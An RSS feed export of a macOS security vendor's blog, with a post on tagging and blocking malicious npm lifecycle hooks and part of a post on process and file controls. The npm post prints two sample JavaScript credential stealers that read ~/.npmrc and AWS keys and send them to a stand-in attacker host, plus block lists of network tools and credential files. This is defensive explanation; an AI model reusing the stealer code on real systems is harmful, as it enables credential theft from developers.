<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Phorion | macOS Endpoint Detection and Response (EDR) Blog</title><link>https://phorion.io/blog/</link><description>Phorion offers top-tier macOS EDR with unrivaled visibility. Learn how our EDR platform defends your enterprise with cutting-edge detection and response capabilities.</description><language>en-us</language><lastBuildDate>Wed, 02 Sep 2026 02:57:36 +0000</lastBuildDate><atom:link href="https://phorion.io/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>Detecting and Preventing npm Supply Chain Attacks with Phorion Protections</title><link>https://phorion.io/blog/detecting-and-preventing-npm-supply-chain-attacks-with-phorion-protections/</link><guid isPermaLink="true">https://phorion.io/blog/detecting-and-preventing-npm-supply-chain-attacks-with-phorion-protections/</guid><pubDate>Thu, 21 May 2026 09:00:00 +0000</pubDate><description>Tracking an npm package install through each stage of its lifecycle allows for precise, context-aware protections that safeguard credentials, block second-stage payload execution, and prevent worm propagation.</description><content:encoded><![CDATA[<p>npm supply chain attacks targeting macOS developers have accelerated sharply over the last twelve months. Be it credential harvesting, worm propagation, or second-stage payload execution - or a combination thereof - campaigns like Shai-Hulud, the TanStack compromise, and the Axios package compromise all exploit the same surface: a malicious install script embedded in a dependency. These scripts run silently during <code>npm install</code>, giving attackers a foothold on the developer&rsquo;s machine from which to achieve their objectives.</p>
<p>There are several stages across the lifecycle of a package install in which malicious content can be introduced. Fortunately, the <code>npm</code> binary itself provides some useful signals about what is being executed and when.</p>
<p>Through research into npm&rsquo;s lifecycle internals, Phorion identified environment variables that npm injects into every hook - one rich enough to identify not just <em>that</em> a hook is running, but <em>which</em> hook, <em>which</em> package, and <em>which</em> version. The same tagging drives both context for hunts and detections, and precise behavior-scoped protections that safeguard credentials, block second-stage download, and prevent worm propagation - without disrupting normal development workflows.</p>
<p>This post explores the recent wave of npm supply chain campaigns, walks through Phorion&rsquo;s npm lifecycle research, and shows how it powers both better detection data and surgical in-line blocking.</p>
<h2 id="the-threat-landscape">The Threat Landscape</h2>
<p>Supply chain attacks leveraging weaponised NPM packages have exploded in popularity over the last year - to name just a few of the most notable campaigns:</p>
<div class="breakout breakout--wide">
<table class="campaign-table">
  <colgroup>
    <col style="width: 16%;" />
    <col style="width: 14%;" />
    <col style="width: 70%;" />
  </colgroup>
  <thead>
    <tr>
      <th>Campaign</th>
      <th>Hook Used</th>
      <th>Technique</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>
        <a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"><strong>Shai-Hulud</strong></a><br/>
        Sep 2025
      </td>
      <td><code>postinstall</code></td>
      <td>
        Self-replicating worm that harvested <code>.npmrc</code> tokens, cloud provider keys, and GitHub PATs.<br/>
        Used stolen npm tokens to authenticate and publish infected versions of the victim's own packages, spreading exponentially across the registry.<br/>
        Compromised hundreds of packages including the widely-used <code>@ctrl/tinycolor</code>.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.elastic.co/blog/shai-hulud-worm-2-0-updated-response"><strong>Shai-Hulud 2.0</strong></a><br/>
        Nov 2025
      </td>
      <td><code>preinstall</code></td>
      <td>
        Switched to a <code>preinstall</code> script with a payload disguised as a Bun installer (<code>setup_bun.js</code>).<br/>
        If credential theft failed, destructively wiped the victim's home directory.<br/>
        Compromised packages from AsyncAPI, Zapier, PostHog, and Postman.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise"><strong>CanisterWorm/<br/>TeamPCP</strong></a><br/>
        Mar 2026
      </td>
      <td><code>postinstall</code></td>
      <td>
        Node.js <code>postinstall</code> loader installed a persistent Python backdoor via systemd.<br/>
        The worm's <code>deploy.js</code> script enumerated all packages a stolen token could publish and infected <code>latest</code> versions.<br/>
        Later evolved to propagate by scraping <code>.npmrc</code> files and npm environment variables for tokens during <code>postinstall</code>.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all"><strong>Axios</strong></a><br/>
        Mar 2026
      </td>
      <td><code>postinstall</code></td>
      <td>
        Compromised maintainer account on Axios (~100M weekly downloads) with a <code>postinstall</code> hook deployed platform-specific RATs for Windows, macOS, and Linux.<br/>
        The dropper performed anti-forensic cleanup, deleting itself and swapping <code>package.json</code> with a clean copy to erase evidence. Attributed to DPRK-linked UNC1069.
      </td>
    </tr>
    <tr>
      <td>
        <a href="https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised"><strong>Mini Shai-Hulud<br/>TanStack</strong></a><br/>
        May 2026
      </td>
      <td><code>prepare</code></td>
      <td>
        84 malicious versions across 42 <code>@tanstack/*</code> packages were published after a GitHub Actions cache-poisoning and OIDC token-extraction chain.<br/>
        Malicious versions, with credential theft and worm-like propagation, used an <code>optionalDependencies</code> pointer to an orphan commit that executed a payload via <code>prepare</code>.<br/>
        Incident details were confirmed in <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">TanStack's postmortem</a>.
      </td>
    </tr>
  </tbody>
</table>
</div>
<p>While we&rsquo;ve seen attacker objectives diversify in recent incidents, the pattern is consistent: compromise a package or maintainer account, weaponise a lifecycle hook, and execute arbitrary code on every machine that installs it.</p>
<h2 id="a-lifecycle-hook-crash-course">A Lifecycle Hook Crash Course</h2>
<p>npm supports a <a href="https://docs.npmjs.com/cli/v8/using-npm/scripts/">broad range of lifecycle scripts</a> - from <code>prepack</code> and <code>prepare</code> to <code>test</code> and <code>restart</code>. However, the scripts that matter for supply chain attacks are the ones that execute automatically during dependency installation without any explicit action from the developer.</p>
<p>The <a href="https://docs.npmjs.com/cli/v8/using-npm/scripts#npm-install">full lifecycle order</a> during <code>npm install</code> (or <code>npm ci</code>) is:</p>
<table class="lifecycle-table">
  <colgroup>
    <col style="width: 5%;" />
    <col style="width: 20%;" />
    <col style="width: 75%;" />
  </colgroup>
  <thead>
    <tr>
      <th>Order</th>
      <th>Script</th>
      <th>When It Runs</th>
    </tr>
  </thead>
  <tbody>
    <tr><td>1</td><td><code>preinstall</code></td><td>Runs on every install from the registry, before the package's own dependencies are resolved</td></tr>
    <tr><td>2</td><td><code>install</code></td><td>Runs on every install. If absent, npm falls back to <code>node-gyp rebuild</code> when a <code>binding.gyp</code> is present, the native-compilation path</td></tr>
    <tr><td>3</td><td><code>postinstall</code></td><td>Runs on every install, after the package and its dependencies are in place; the most commonly weaponised hook</td></tr>
    <tr><td>4</td><td><code>prepublish</code></td><td>Deprecated. Historically ran on both <code>npm install</code> and <code>npm publish</code></td></tr>
    <tr><td>5</td><td><code>preprepare</code></td><td>Runs immediately before <code>prepare</code>, in the same contexts</td></tr>
    <tr><td>6</td><td><code>prepare</code></td><td>Runs on local installs (path or git dependencies) and before <code>npm publish</code></td></tr>
    <tr><td>7</td><td><code>postprepare</code></td><td>Runs immediately after <code>prepare</code>, in the same contexts</td></tr>
  </tbody>
</table>
<p>From a supply chain perspective, the most commonly weaponised stages are <code>preinstall</code>, <code>install</code>, <code>postinstall</code>, and <code>prepare</code>. <code>prepare</code> is particularly relevant for git dependencies, seen in-the-wild as part of another related attack vector - backdoored coding tests.</p>
<p>Any npm package can define these scripts in its <code>package.json</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;name&#34;</span>: <span style="color:#2aa198">&#34;lifecycle-canary&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;version&#34;</span>: <span style="color:#2aa198">&#34;1.0.0&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;scripts&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;preinstall&#34;</span>: <span style="color:#2aa198">&#34;echo &#39;About to install&#39;&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;postinstall&#34;</span>: <span style="color:#2aa198">&#34;node setup.js&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Though not the <a href="https://www.stepsecurity.io/blog/node-ipc-npm-supply-chain-attack">only weaponisation option</a>, lifecycle hooks are a particularly common target because they&rsquo;re a light-touch way to add immediate execution to a package. An attacker doesn&rsquo;t need to understand the package&rsquo;s internal logic, find a reachable code path, or modify an existing installation process; they can add their premade malicious script and point to it from <code>package.json</code>.</p>
<p>Since developers (and automated CI processes) are unlikely to review changes to lifecycle hooks for every dependency update, this &lsquo;drop-in&rsquo; approach can prove effective.</p>
<h3 id="weaponisation">Weaponisation</h3>
<p>Once execution is wired into a lifecycle hook, malicious code runs in the user&rsquo;s context, with full access to their environment and filesystem.</p>
<p>With recent incidents like Shai-Hulud and the Axios package compromise leveraging JavaScript executed via <code>node</code>, we can see permutations of malicious script content (once deobfuscated) that achieves its objectives by shelling out to native tools (<code>curl</code>, <code>cat</code>):</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">const</span> { execSync } <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;child_process&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> os <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> credentialPaths <span style="color:#719e07">=</span> [
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.npmrc`</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.aws/credentials`</span>,
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> stolen <span style="color:#719e07">=</span> credentialPaths.map(path =&gt; ({
</span></span><span style="display:flex;"><span>  path,
</span></span><span style="display:flex;"><span>  content<span style="color:#719e07">:</span> execSync(<span style="color:#586e75">`cat &#34;</span><span style="color:#2aa198">${</span>path<span style="color:#2aa198">}</span><span style="color:#586e75">&#34; 2&gt;/dev/null || true`</span>).toString(),
</span></span><span style="display:flex;"><span>}));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>execSync(<span style="color:#586e75">`curl -X POST -d &#39;</span><span style="color:#2aa198">${</span>JSON.stringify(stolen)<span style="color:#2aa198">}</span><span style="color:#586e75">&#39; https://attacker[.]com/collect`</span>);
</span></span></code></pre></div><p>Or by using Node&rsquo;s built-in APIs for file access and network requests:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">const</span> fs <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> https <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> os <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> credentialPaths <span style="color:#719e07">=</span> [
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.npmrc`</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">`</span><span style="color:#2aa198">${</span>os.homedir()<span style="color:#2aa198">}</span><span style="color:#586e75">/.aws/credentials`</span>,
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> stolen <span style="color:#719e07">=</span> credentialPaths
</span></span><span style="display:flex;"><span>  .filter(path =&gt; fs.existsSync(path))
</span></span><span style="display:flex;"><span>  .map(path =&gt; ({ path, content<span style="color:#719e07">:</span> fs.readFileSync(path, <span style="color:#2aa198">&#39;utf8&#39;</span>) }));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">const</span> request <span style="color:#719e07">=</span> https.request(<span style="color:#2aa198">&#39;https://attacker[.]com/collect&#39;</span>, { method<span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;POST&#39;</span> });
</span></span><span style="display:flex;"><span>request.end(JSON.stringify(stolen));
</span></span></code></pre></div><p>The diagram below generalises this into the three outcomes we care about: credential access, data exfiltration, and second-stage effects like worm propagation.</p>
<div class="breakout breakout--full">
<p><img src="attack-tree.svg" alt="Diagram showing the three phases of an npm supply chain attack: credential file collection, network exfiltration via curl, and worm propagation via npm publish, with Phorion blocking each phase"></p>
</div>
<p>Even in simplified form, these script examples show why lifecycle-hook attacks are awkward to defend with the likes of file events or process relationships alone.</p>
<p>Sometimes the suspicious activity appears as <code>node</code> spawning <code>cat</code> or <code>curl</code>; other times the same credential access and network exfiltration happen entirely inside the Node.js process.</p>
<p>In either case, detection and prevention still requires walking back up the process tree to determine whether the activity originated from an <code>npm install</code> or <code>npm ci</code> event and, even then, that provides no context about the specific package or lifecycle phase.</p>
<h3 id="npm-environment-variables">npm Environment Variables</h3>
<p>When npm runs a lifecycle script, it injects a set of environment variables into the shell process, prefixed with <code>npm_</code>, including:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-properties" data-lang="properties"><span style="display:flex;"><span>npm_command<span style="color:#719e07">=</span><span style="color:#2aa198">install</span>
</span></span><span style="display:flex;"><span>npm_lifecycle_event<span style="color:#719e07">=</span><span style="color:#2aa198">postinstall</span>
</span></span><span style="display:flex;"><span>npm_package_name<span style="color:#719e07">=</span><span style="color:#2aa198">example-package</span>
</span></span><span style="display:flex;"><span>npm_package_version<span style="color:#719e07">=</span><span style="color:#2aa198">1.2.3</span>
</span></span></code></pre></div><p>The critical variable here is <code>npm_lifecycle_event</code>, telling any process in the tree exactly which hook phase is currently executing.</p>
<p>These environment variables are inherited by child processes via <code>execve()</code>. When a postinstall script spawns a <code>curl</code> based one-liner, for example, that process inherits the full npm environment - including <code>npm_lifecycle_event=postinstall</code>. This inheritance is transitive: no matter how deep the process tree goes via direct fork/exec, every descendant carries the variable.</p>
<p>This is where it gets interesting for defenders.</p>
<h3 id="from-environment-variable-to-full-activity-tagging">From Environment Variable to Full Activity Tagging</h3>
<p>Apple&rsquo;s Endpoint Security Framework (ESF) delivers detailed information about every process execution on the system, including the <a href="https://developer.apple.com/documentation/endpointsecurity/es_exec_env(_:_:)?language=objc">full environment</a> of the new process at the point of <code>execve()</code>.</p>
<p>The Phorion agent inspects that environment and, if it finds an <code>npm_lifecycle_event</code>, extracts the lifecycle phase along with <code>npm_package_name</code> and <code>npm_package_version</code>, and tags the process with a <code>behavior</code> label.</p>
<p>Because npm&rsquo;s environment variables propagate across <code>execve()</code>, every descendant in the lifecycle hook&rsquo;s process tree arrives at ESF carrying them too, so the same metadata can be derived for the <code>curl</code> an obfuscated postinstall script reaches several layers down:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;event_type&#34;</span>: <span style="color:#2aa198">&#34;ProcessExec&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;signing_id&#34;</span>: <span style="color:#2aa198">&#34;com.apple.curl&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;process_args&#34;</span>: [<span style="color:#2aa198">&#34;curl&#34;</span>, <span style="color:#2aa198">&#34;-X&#34;</span>, <span style="color:#2aa198">&#34;POST&#34;</span>, <span style="color:#2aa198">&#34;-d&#34;</span>, <span style="color:#2aa198">&#34;...&#34;</span>, <span style="color:#2aa198">&#34;https://attacker[.]com/collect&#34;</span>],
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;behavior&#34;</span>: [<span style="color:#2aa198">&#34;NpmPostInstall&#34;</span>],
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;enrichments&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;npm&#34;</span>: {
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;lifecycle_event&#34;</span>: <span style="color:#2aa198">&#34;postinstall&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;package_name&#34;</span>: <span style="color:#2aa198">&#34;lifecycle-canary&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">&#34;package_version&#34;</span>: <span style="color:#2aa198">&#34;1.0.0&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This enriches context from &ldquo;<code>curl</code> made a POST request&rdquo; to &ldquo;<code>curl</code> made a POST request during the postinstall of <code>lifecycle-canary@1.0.0</code>&rdquo; - actionable detail for both targeted detection and incident response. It makes retrospective hunting straightforward: when a vulnerable or compromised package is disclosed, you can pivot directly from the package name and affected versions to every instance of execution across the entire fleet.</p>
<p>Subsequent file reads, network connections, and DNS queries don&rsquo;t carry an environment of their own, however. To bridge that gap, Phorion propagates the earliest occurrence of the behavior tag and lifecycle metadata in-agent across the process tree. This gives a comprehensive picture of the lifecycle hook&rsquo;s activity, with a further benefit: the lifecycle code cannot evade detection by tampering with environment variables in later stages of its execution.</p>
<p>The result is a complete map of the lifecycle hook&rsquo;s activity across every descendant and every event type. The read of <code>~/.aws/credentials</code>, the lookup of an attacker-controlled domain, and the <code>curl</code> that POSTs the data all carry the relevant lifecycle tag.</p>
<h2 id="protections-built-on-this-signal">Protections Built on This Signal</h2>
<p>The behavior tagging is valuable as enrichment alone - but the same signal can be used to block in-line. <a href="https://phorion.io/blog/phorion-protections/">Phorion&rsquo;s Protections</a> provide comprehensive rules that deny specific file accesses and process executions under tightly-scoped conditions.</p>
<p>Because the trigger here is the behavior, not a specific binary, parent process or path - the rules can be incredibly precise about <em>what</em> is blocked and <em>when</em>. For npm lifecycle hooks, this means:</p>
<h3 id="process-execution-controls">Process Execution Controls</h3>
<p>Certain binaries and accompanying arguments have no legitimate reason to execute during the covered <code>npm</code> lifecycle stages. Among others, Phorion blocks the below activities outright:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Blocked Activity</th>
          <th style="text-align: left">Rationale</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>osascript</code></td>
          <td style="text-align: left">AppleScript execution - used for credential phishing dialogs and JXA-based execution</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>pbpaste</code></td>
          <td style="text-align: left">Clipboard sniffing for credential harvesting</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>rm -rf</code></td>
          <td style="text-align: left">Prevent destructive file operations, seen used as a <a href="https://snyk.io/blog/tanstack-npm-packages-compromised/">&ldquo;dead-man&rsquo;s switch&rdquo;</a>, during lifecycle hooks</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>npm publish</code></td>
          <td style="text-align: left">Self-propagation - prevent the publishing of further infected packages to spread across the registry</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>open</code></td>
          <td style="text-align: left">Launch applications - used to bypass lifecycle hook protections by detaching processes</td>
      </tr>
  </tbody>
</table>
<p>The <code>npm publish</code> block is particularly significant. Several of the campaigns described above - Shai-Hulud, Shai-Hulud 2.0, and CanisterWorm - are self-propagating worms. They steal npm tokens during lifecycle hooks and use them to publish infected versions of the victim&rsquo;s own packages, turning every compromised developer into a distribution vector. Blocking <code>npm publish</code> during lifecycle hooks directly breaks this propagation chain.</p>
<p>The <code>open</code> block is worth highlighting too. <code>/usr/bin/open</code> doesn&rsquo;t <code>exec()</code> its target - it asks <code>LaunchServices</code> to spawn it, which severs the new process from the npm process tree and, with it, the inherited <code>npm_lifecycle_event</code> environment.</p>
<p>As with all other Phorion Protections, these are fully configurable, individually toggleable rules. An organisation that genuinely needs Python, for example, during npm lifecycle execution (e.g., for <code>node-gyp</code> <a href="https://github.com/nodejs/node-gyp">native compilation</a>) can disable that specific rule while keeping the others active.</p>
<h3 id="file-access-controls">File Access Controls</h3>
<p>Beyond blocking dangerous processes, Phorion prevents lifecycle hook code from reading sensitive credential files. This targets the most common objective of npm supply chain attacks - stealing secrets.</p>
<p>When a process tagged with an npm lifecycle behavior attempts to open sensitive files, the access is denied. To name a few, this includes:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Protected File</th>
          <th style="text-align: left">Contents</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>~/.npmrc</code></td>
          <td style="text-align: left">npm registry authentication tokens</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>~/.git-credentials</code></td>
          <td style="text-align: left">Plaintext git HTTPS credentials</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>~/.pypirc</code></td>
          <td style="text-align: left">PyPI registry tokens</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>~/.aws/credentials</code></td>
          <td style="text-align: left">AWS IAM access keys and secret keys</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>~/.terraform.d/credentials.tfrc.json</code></td>
          <td style="text-align: left">Terraform Cloud API tokens</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>~/.docker/config.json</code></td>
          <td style="text-align: left">Container registry auth tokens</td>
      </tr>
  </tbody>
</table>
<p>The CLI tools and scripts that otherwise use these credentials during development and deployment workflows will continue to work as normal outside of lifecycle hooks, but any attempt to access them during a hook is blocked.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Research into npm&rsquo;s lifecycle internals turned a small environment-variable surface into a strong defensive signal. By inspecting the environment and propagating the resulting <code>behavior</code> tag and package metadata in-agent across the process tree, Phorion ties every downstream file, network and DNS event back to the specific lifecycle hook and package that triggered it. That precision pays off in two ways.</p>
<p>In the <strong>data</strong>, every process, file, network, and DNS event carries the lifecycle phase and package metadata. Hunts pivot directly from a compromised package to every affected execution across the fleet, with no manual process-tree walking required. Which files did it access? What did it download? Which domains did it query? All visible with a single search query.</p>
<p>In the <strong>protections</strong>, the same behavior tagging scopes what could otherwise be over-broad blocks. <code>curl</code>, <code>npm publish</code> and <code>osascript</code> stay available to the developer who needs them, but lose the ability to run under a lifecycle hook where they have no legitimate purpose.</p>
<hr>
<p>Protections are available now to front-runner Phorion customers. <br/><a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>Protections</category><category>npm</category><category>Supply Chain</category><category>File Access Controls</category><category>Research</category><media:content url="https://phorion.io/blog/detecting-and-preventing-npm-supply-chain-attacks-with-phorion-protections/social-card.png" medium="image"/></item><item><title>Beyond Detection: Proactive Process and File Controls for macOS</title><link>https://phorion.io/blog/phorion-protections/</link><guid isPermaLink="true">https://phorion.io/blog/phorion-protections/</guid><pubDate>Mon, 18 May 2026 00:30:00 +0000</pubDate><description>Phorion Protections brings file access authorization, process execution
controls, and EDR telemetry into a single macOS endpoint security solution.
Layered defences, scoped to your environment, with the analytics to
deploy them confidently.</description><content:encoded><![CDATA[<p><span class="phorion-brand">Phorion Protections</span> brings file access authorization, process execution controls, and Phorion&rsquo;s EDR telemetry into a single macOS endpoint security solution.</p>
<!-- <figure class="bordered"><img src="/blog/phorion-protections/protections-summary.png"
    alt="Phorion Protections summary">
</figure>
 -->
<div class="breakout breakout--wide">
<p><img src="laptop-protections.png" alt="Protections laptop"></p>
</div>
<p>Protections is made up of two complementary hardening layers, each one closing off a different stage of the attack chain:</p>
<ul>
<li><strong>Process execution controls</strong> shrink the attack surface. Block <code>curl</code>, <code>osascript</code>, <code>python</code> or any other binary on the endpoints that don&rsquo;t need them, and entire classes of stage-one payloads never get the chance to run.</li>
<li><strong>File access authorization</strong> protects the data that matters. Browser cookies, SSH keys, and developer secrets are locked to the processes that legitimately touch them, so it doesn&rsquo;t matter how an attacker reached the endpoint; your sensitive files are locked down.</li>
</ul>
<p>Attackers are constantly evolving their tradecraft. New infostealers, new initial access vectors and new techniques appear every week. Protections doesn&rsquo;t chase those TTPs. It defines what legitimate behaviour looks like on your endpoints, what processes should run and what files they should touch, and blocks everything else. The control holds regardless of how the threat is packaged.</p>
<p>The hard part is knowing what &ldquo;legitimate&rdquo; actually looks like in your environment, and this is exactly why it makes sense to build Protections upon the foundations of Phorion&rsquo;s EDR. Every control is paired with historical analytics from the same telemetry your detections run on. Before you enforce anything, you can see how often the control would have fired, which users and devices it would have hit, and what normal behaviour looks like across your fleet.</p>
<p><img src="protection-analytics-small.png" alt="Protections analytics"></p>
<h2 id="process-execution-controls">Process execution controls</h2>
<p>Process execution controls in Phorion lean into two complementary approaches, each one reducing the attack surface from a different angle:</p>
<ul>
<li><strong>Blocking process flows that should never legitimately happen.</strong> Specific parent/child relationships, command-line patterns and signing combinations that have no business existing on a healthy endpoint. If a Word document spawns <code>bash</code>, something has already gone wrong, so the control prevents the execution before it becomes an incident.</li>
</ul>
<div style="align: center">
<div class="protection-example">
<div class="protection-example__title">Prevent Office Apps from Spawning Processes</div>
<div class="protection-rules">
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Block script interpreters spawned by Office apps</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.apple.python3</span>
<span class="protection-rule__value">com.apple.ruby</span>
<span class="protection-rule__value">com.apple.perl</span>
<span class="protection-rule__value">com.apple.osascript</span>
</div>
<div class="protection-rule__field">source_signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.microsoft.Word</span>
<span class="protection-rule__value">com.microsoft.Excel</span>
<span class="protection-rule__value">com.microsoft.Powerpoint</span>
<span class="protection-rule__value">com.microsoft.Outlook</span>
</div>
</div>
</div>
</div>
</div>
</div>
<ul>
<li><strong>Blocking tooling that isn&rsquo;t required on the devices it&rsquo;s running on.</strong> Does your marketing team really need <code>osascript</code>, <code>curl</code> or <code>python</code> on their laptops? If not, blocking those binaries outright closes off entire classes of living-off-the-land technique on the endpoints where they were never needed in the first place.</li>
</ul>
<div style="align: center">
<div class="protection-example">
<div class="protection-example__title">Block Developer Tooling</div>
<div class="protection-rules">
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Block networking tools</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.apple.curl</span>
<span class="protection-rule__value">com.apple.nscurl</span>
<span class="protection-rule__value">com.apple.ssh</span>
<span class="protection-rule__value">com.apple.scp</span>
<span class="protection-rule__value">com.apple.sftp</span>
<span class="protection-rule__value">com.apple.sftp-server</span>
<span class="protection-rule__value">com.apple.nc</span>
</div>
<div class="protection-rule__field">binary_path</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">/usr/local/bin/wget</span>
<span class="protection-rule__value">/opt/homebrew/bin/wget</span>
<span class="protection-rule__value">/usr/local/bin/ncat</span>
<span class="protection-rule__value">/opt/homebrew/bin/ncat</span>
</div>
</div>
</div>
<div class="protection-rule">
<div class="protection-rule__header">
<div class="protection-rule__title">Block script interpreters and applications</div>
</div>
<div class="protection-rule__grid">
<div class="protection-rule__head">Field</div>
<div class="protection-rule__head">Op</div>
<div class="protection-rule__head">Values <span style="text-transform:none;opacity:0.7;">(OR)</span></div>
<div class="protection-rule__field">signing_id</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">com.apple.scripteditor2</span>
<span class="protection-rule__value">com.apple.osascript</span>
<span class="protection-rule__value">com.apple.python3</span>
<span class="protection-rule__value">org.python.python</span>
<span class="protection-rule__value">com.apple.ruby</span>
<span class="protection-rule__value">com.apple.perl</span>
<span class="protection-rule__value">com.apple.perl5</span>
<span class="protection-rule__value">com.tcltk.tclsh</span>
</div>
<div class="protection-rule__field">binary_path</div>
<div class="protection-rule__op">=</div>
<div class="protection-rule__values">
<span class="protection-rule__value">/opt/homebrew/bin/python*</span>
<span class="protection-rule__value">/opt/homebrew/bin/ruby</span>
<span class="protection-rule__value">/opt/homebrew/bin/perl*</span>
</div>
</div>
</div>
</div>
</div>
</div>
